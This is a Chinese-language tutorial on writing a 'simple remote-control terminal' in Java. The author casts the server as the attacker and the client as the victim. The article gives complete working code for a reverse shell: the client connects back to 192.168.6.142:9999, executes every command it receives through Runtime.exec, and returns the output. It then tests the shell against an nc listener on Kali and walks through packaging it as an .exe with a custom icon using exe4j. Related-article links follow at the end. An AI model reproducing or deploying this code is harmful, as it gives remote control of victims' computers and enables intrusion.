基于Java制作一個簡易的遠控終端
遠控終端的本質(zhì)
1、服務(wù)端(攻擊者)傳輸消息 ----> socket連接 ----> 客戶端(被攻擊者)接收消息
2、客戶端執(zhí)行消息內(nèi)容(即執(zhí)行服務(wù)端傳回來的命令)
3、客戶端傳輸執(zhí)行結(jié)果 ----> socket連接 ----> 服務(wù)端顯示命令執(zhí)行結(jié)果
Java制作簡易的遠控
1、環(huán)境
環(huán)境:IntelliJ IDEA 2022.1.1 + jdk1.8 + exe4j.exe
2、新建項目
打開idea,直接新建一個最普通的Java項目即可。

3、新建一個Java類

4、編寫程序
(1)導(dǎo)入需要使用到的類包
import java.io.*; import java.net.Socket; import java.nio.charset.StandardCharsets;
(2)編寫main方法
...
import java.nio.charset.StandardCharsets;
public class RemoteControl {
public static void main(String[] args) {
}
}
(3)建立socket連接
public static void main(String[] args) {
try {
// 建立socket連接
Socket socket = new Socket("192.168.6.142", 9999);
} catch (IOException e) {
e.printStackTrace();
}
}
(4)接收服務(wù)端傳輸?shù)南?即命令)
...
import java.nio.charset.StandardCharsets;
public class RemoteControl {
public static void main(String[] args) {
try {
// 建立socket連接
Socket socket = new Socket("192.168.6.142", 9999);
// 建立成功后while循環(huán)保持連接
while (true) {
// inputStream接收服務(wù)端傳入的字節(jié)流數(shù)據(jù)
InputStream inputStream = socket.getInputStream();
// 定義客戶端以一個字節(jié)大小的方式接收服務(wù)端傳入的字節(jié)流數(shù)據(jù)
byte[] bytes = new byte[1];
// 服務(wù)端傳入字節(jié)流數(shù)據(jù)轉(zhuǎn)化成字符型數(shù)據(jù)——命令
String command = "";
while (true) {
// 判斷服務(wù)端傳入的字節(jié)流數(shù)據(jù)是否被bytes字節(jié)數(shù)組接收完
if (inputStream.available() > 0) {
// 將服務(wù)端傳入的字節(jié)流數(shù)據(jù)以一個字節(jié)大小的方式讀入bytes字節(jié)數(shù)組中
inputStream.read(bytes);
// 將讀入的字節(jié)流數(shù)據(jù)轉(zhuǎn)化成16進制數(shù)據(jù)
String hexString = BytesToHexString(bytes);
// 將16進制數(shù)據(jù)轉(zhuǎn)化成字符型數(shù)據(jù)并賦值給command——命令
command += HexStringToString(hexString);
// 判斷服務(wù)端傳入的字節(jié)流數(shù)據(jù)是否讀完,如果讀完就執(zhí)行命令,否則跳過以下流程繼續(xù)循環(huán)讀取服務(wù)端傳入的字節(jié)流數(shù)據(jù)直到讀完為止
if (inputStream.available() == 0) {
// 去掉服務(wù)端傳回來命令的空格
command = command.trim();
// 如果傳回來的命令為exit,就直接斷開連接
if (command.equals("exit")) {
return;
}
}
}
}
}
}
...
}
}
其中需要將接收數(shù)據(jù)的字節(jié)流先轉(zhuǎn)化為16進制數(shù)據(jù),再將16進制數(shù)據(jù)轉(zhuǎn)化為字符型數(shù)據(jù),這里分別自定義了兩個靜態(tài)方法:BytesToHexString和HexStringToString。
兩個方法的定義如下:
...
import java.nio.charset.StandardCharsets;
public class RemoteControl {
public static void main(String[] args) {
......
}
// 將字節(jié)流數(shù)據(jù)轉(zhuǎn)化為16進制數(shù)據(jù)
public static String BytesToHexString(byte[] bytes) {
if (bytes == null) {
return null;
}
char[] hexArray = "0123456789ABCDEF".toCharArray();
char[] hexChars = new char[bytes.length * 2];
for (int i = 0; i < bytes.length; i++) {
int temp = bytes[i] & 0xFF;
hexChars[i * 2] = hexArray[temp >> 4];
hexChars[i * 2 + 1] = hexArray[temp & 0x0F];
}
return new String(hexChars);
}
// 將16進制數(shù)據(jù)轉(zhuǎn)化為字符型數(shù)據(jù)
public static String HexStringToString(String hexString) {
byte[] array = new byte[hexString.length() / 2];
try {
for (int i = 0; i < array.length; i++) {
array[i] = (byte) (0xFF & Integer.parseInt(hexString.substring(i * 2, i * 2 + 2), 16));
}
hexString = new String(array, "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
return "";
}
return hexString;
}
(5)執(zhí)行消息內(nèi)容(即執(zhí)行服務(wù)端傳回來的命令)
...
import java.nio.charset.StandardCharsets;
public class RemoteControl {
public static void main(String[] args) {
try {
// 建立socket連接
Socket socket = new Socket("192.168.6.142", 9999);
// 建立成功后while循環(huán)保持連接
while (true) {
.......
while (true) {
// 判斷服務(wù)端傳入的字節(jié)流數(shù)據(jù)是否被bytes字節(jié)數(shù)組接收完
if (inputStream.available() > 0) {
......
// 判斷服務(wù)端傳入的字節(jié)流數(shù)據(jù)是否讀完,如果讀完就執(zhí)行命令,否則跳過以下流程繼續(xù)循環(huán)讀取服務(wù)端傳入的字節(jié)流數(shù)據(jù)直到讀完為止
if (inputStream.available() == 0) {
......
}
// 執(zhí)行命令并返回結(jié)果
try {
// 執(zhí)行服務(wù)端傳回來的命令,將命令的執(zhí)行過程交給exec進程
Process exec = Runtime.getRuntime().exec(command);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
}
}
......
}
}
(6)將執(zhí)行結(jié)果返回給服務(wù)端
...
import java.nio.charset.StandardCharsets;
public class RemoteControl {
public static void main(String[] args) {
try {
// 建立socket連接
Socket socket = new Socket("192.168.6.142", 9999);
// 建立成功后while循環(huán)保持連接
while (true) {
.......
while (true) {
// 判斷服務(wù)端傳入的字節(jié)流數(shù)據(jù)是否被bytes字節(jié)數(shù)組接收完
if (inputStream.available() > 0) {
......
// 判斷服務(wù)端傳入的字節(jié)流數(shù)據(jù)是否讀完,如果讀完就執(zhí)行命令,否則跳過以下流程繼續(xù)循環(huán)讀取服務(wù)端傳入的字節(jié)流數(shù)據(jù)直到讀完為止
if (inputStream.available() == 0) {
......
}
// 執(zhí)行命令并返回結(jié)果
try {
// 執(zhí)行服務(wù)端傳回來的命令,將命令的執(zhí)行過程交給exec進程
Process exec = Runtime.getRuntime().exec(command);
// 將執(zhí)行命令返回結(jié)果的流賦值給輸入流results中
InputStream results = exec.getInputStream();
// 考慮到執(zhí)行命令的返回結(jié)果可能會有中文字符,所以采用BufferedReader
BufferedReader reader = new BufferedReader(new InputStreamReader(results));
// 創(chuàng)建數(shù)據(jù)輸出流,并將數(shù)據(jù)輸出流中的數(shù)據(jù)流給到socket連接的輸出流中,以讓命令結(jié)果返回給服務(wù)端
DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());
String line = null;
// 讀取命令執(zhí)行結(jié)果的一行數(shù)據(jù),如果數(shù)據(jù)不為空,則將數(shù)據(jù)寫入到數(shù)據(jù)輸出流中,然后將數(shù)據(jù)輸出流中的數(shù)據(jù)進行刷新
while ((line = reader.readLine()) != null) {
dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8));
dataOutputStream.flush();
}
// 進程等待
exec.waitFor();
// 關(guān)閉輸入流
results.close();
// 關(guān)閉讀入流
reader.close();
// 銷毀進程對象
exec.destroy();
break;
} catch (Exception e) {
e.printStackTrace();
} finally {
// 將存放命令的字符串置位空,防止下次執(zhí)行命令的時候?qū)⒃摯蚊钜矌雸?zhí)行
command = "";
}
}
}
}
}
}
......
}
}
至此,Java編寫遠程控制終端完成!
(7)測試遠控終端的可用性
打開一臺kali虛擬機(IP為192.168.6.142)作為服務(wù)端,使用nc監(jiān)聽9999端口。



連接成功,遠控終端制作完成!
5、將項目打包成jar包并生成exe文件
(1)打成jar包
步驟一
點擊文件 --> 點擊項目結(jié)構(gòu)。

步驟二
點擊工件 --> 點擊JAR --> 點擊來自具有…。

步驟三
將主類設(shè)為main函數(shù)所在的Java類 --> 點擊確定。

步驟四
點擊確定。

步驟五
點擊構(gòu)建 --> 點擊構(gòu)建項目

步驟六
再次點擊構(gòu)建 --> 點擊構(gòu)建工件

步驟七
點擊構(gòu)建即可。

步驟八
這時會在項目out\artifacts\remoteControl_jar目錄下,生成了一個Jar文件。直接復(fù)制拖出來即可。


至此打包jar包完成。
(2)生成exe文件
使用exe4j(官網(wǎng)下載地址:https://exe4j.apponic.com/ )將jar包生成exe文件。
步驟一
打開exe4j --> next。

步驟二
選擇"JAR in EXE"mode --> next

步驟三
填寫相關(guān)內(nèi)容 --> next。

步驟四
填寫exe文件名字 --> 選擇exe圖標(biāo) --> 設(shè)置Advanced Options為32-bit or 64-bit。

步驟五
勾選選項 --> next。

步驟六
next。

步驟七
添加jar包 --> 選擇jar包的存放路徑 --> 選擇jar包main函數(shù)所在的主類 --> next。


步驟八
選擇jdk兼容最低的版本 --> 勾選"Allow JREs with a beta version number" --> next

步驟九
之后就一直next即可。


exe文件成功生成。
(3)測試exe文件的可用性
kali服務(wù)端監(jiān)聽端口。

點擊運行生成的exe文件。

點擊確定。

連接成功,Java制作遠程控制終端完成!
附完整代碼
import java.io.*;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
public class RemoteControl {
public static void main(String[] args) {
try {
// 建立socket連接
Socket socket = new Socket("192.168.6.142", 9999);
// 建立成功后while循環(huán)保持連接
while (true) {
// inputStream接收服務(wù)端傳入的字節(jié)流數(shù)據(jù)
InputStream inputStream = socket.getInputStream();
// 定義客戶端以一個字節(jié)大小的方式接收服務(wù)端傳入的字節(jié)流數(shù)據(jù)
byte[] bytes = new byte[1];
// 服務(wù)端傳入字節(jié)流數(shù)據(jù)轉(zhuǎn)化成字符型數(shù)據(jù)——命令
String command = "";
while (true) {
// 判斷服務(wù)端傳入的字節(jié)流數(shù)據(jù)是否被bytes字節(jié)數(shù)組接收完
if (inputStream.available() > 0) {
// 將服務(wù)端傳入的字節(jié)流數(shù)據(jù)以一個字節(jié)大小的方式讀入bytes字節(jié)數(shù)組中
inputStream.read(bytes);
// 將讀入的字節(jié)流數(shù)據(jù)轉(zhuǎn)化成16進制數(shù)據(jù)
String hexString = BytesToHexString(bytes);
// 將16進制數(shù)據(jù)轉(zhuǎn)化成字符型數(shù)據(jù)并賦值給command——命令
command += HexStringToString(hexString);
// 判斷服務(wù)端傳入的字節(jié)流數(shù)據(jù)是否讀完,如果讀完就執(zhí)行命令,否則跳過以下流程繼續(xù)循環(huán)讀取服務(wù)端傳入的字節(jié)流數(shù)據(jù)直到讀完為止
if (inputStream.available() == 0) {
// 去掉服務(wù)端傳回來命令的空格
command = command.trim();
// 如果傳回來的命令為exit,就直接斷開連接
if (command.equals("exit")) {
return;
}
// 執(zhí)行命令并返回結(jié)果
try {
// 執(zhí)行服務(wù)端傳回來的命令,將命令的執(zhí)行過程交給exec進程
Process exec = Runtime.getRuntime().exec(command);
// 將執(zhí)行命令返回結(jié)果的流賦值給輸入流results中
InputStream results = exec.getInputStream();
// 考慮到執(zhí)行命令的返回結(jié)果可能會有中文字符,所以采用BufferedReader
BufferedReader reader = new BufferedReader(new InputStreamReader(results));
// 創(chuàng)建數(shù)據(jù)輸出流,并將數(shù)據(jù)輸出流中的數(shù)據(jù)流給到socket連接的輸出流中,以讓命令結(jié)果返回給服務(wù)端
DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());
String line = null;
// 讀取命令執(zhí)行結(jié)果的一行數(shù)據(jù),如果數(shù)據(jù)不為空,則將數(shù)據(jù)寫入到數(shù)據(jù)輸出流中,然后將數(shù)據(jù)輸出流中的數(shù)據(jù)進行刷新
while ((line = reader.readLine()) != null) {
dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8));
dataOutputStream.flush();
}
// 進程等待
exec.waitFor();
// 關(guān)閉輸入流
results.close();
// 關(guān)閉讀入流
reader.close();
// 銷毀進程對象
exec.destroy();
break;
} catch (Exception e) {
e.printStackTrace();
} finally {
// 將存放命令的字符串置位空,防止下次執(zhí)行命令的時候?qū)⒃摯蚊钜矌雸?zhí)行
command = "";
}
}
}
}
}
} catch (IOException e) {
e.printStackTrace();
}
}
// 將字節(jié)流數(shù)據(jù)轉(zhuǎn)化為16進制數(shù)據(jù)
public static String BytesToHexString(byte[] bytes) {
if (bytes == null) {
return null;
}
char[] hexArray = "0123456789ABCDEF".toCharArray();
char[] hexChars = new char[bytes.length * 2];
for (int i = 0; i < bytes.length; i++) {
int temp = bytes[i] & 0xFF;
hexChars[i * 2] = hexArray[temp >> 4];
hexChars[i * 2 + 1] = hexArray[temp & 0x0F];
}
return new String(hexChars);
}
// 將16進制數(shù)據(jù)轉(zhuǎn)化為字符型數(shù)據(jù)
public static String HexStringToString(String hexString) {
byte[] array = new byte[hexString.length() / 2];
try {
for (int i = 0; i < array.length; i++) {
array[i] = (byte) (0xFF & Integer.parseInt(hexString.substring(i * 2, i * 2 + 2), 16));
}
hexString = new String(array, "UTF-8");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
return "";
}
return hexString;
}
}
以上就是基于Java制作一個簡易的遠控終端的詳細(xì)內(nèi)容,更多關(guān)于Java遠控終端的資料請關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
SpringMVC RESTful支持實現(xiàn)過程演示
這篇文章主要介紹了SpringMVC RESTful支持實現(xiàn)過程演示,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下2019-11-11
SpringBoot+Hutool實現(xiàn)圖片驗證碼的示例代碼
圖片驗證碼在注冊、登錄、交易、交互等各類場景中都發(fā)揮著巨大作用,本文主要介紹了SpringBoot+Hutool實現(xiàn)圖片驗證碼的示例代碼,具有一定的參考價值,感興趣的可以了解一下2024-01-01
java8實現(xiàn)list集合中按照某一個值相加求和,平均值等操作代碼
這篇文章主要介紹了java8實現(xiàn)list集合中按照某一個值相加求和,平均值等操作代碼,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2020-08-08
Spring數(shù)據(jù)庫事務(wù)的實現(xiàn)機制講解
這篇文章主要介紹了Spring數(shù)據(jù)庫事務(wù)的實現(xiàn)機制講解,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2021-10-10
使用@DS輕松解決動態(tài)數(shù)據(jù)源的問題
這篇文章主要介紹了使用@DS輕松解決動態(tài)數(shù)據(jù)源的問題,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2022-05-05

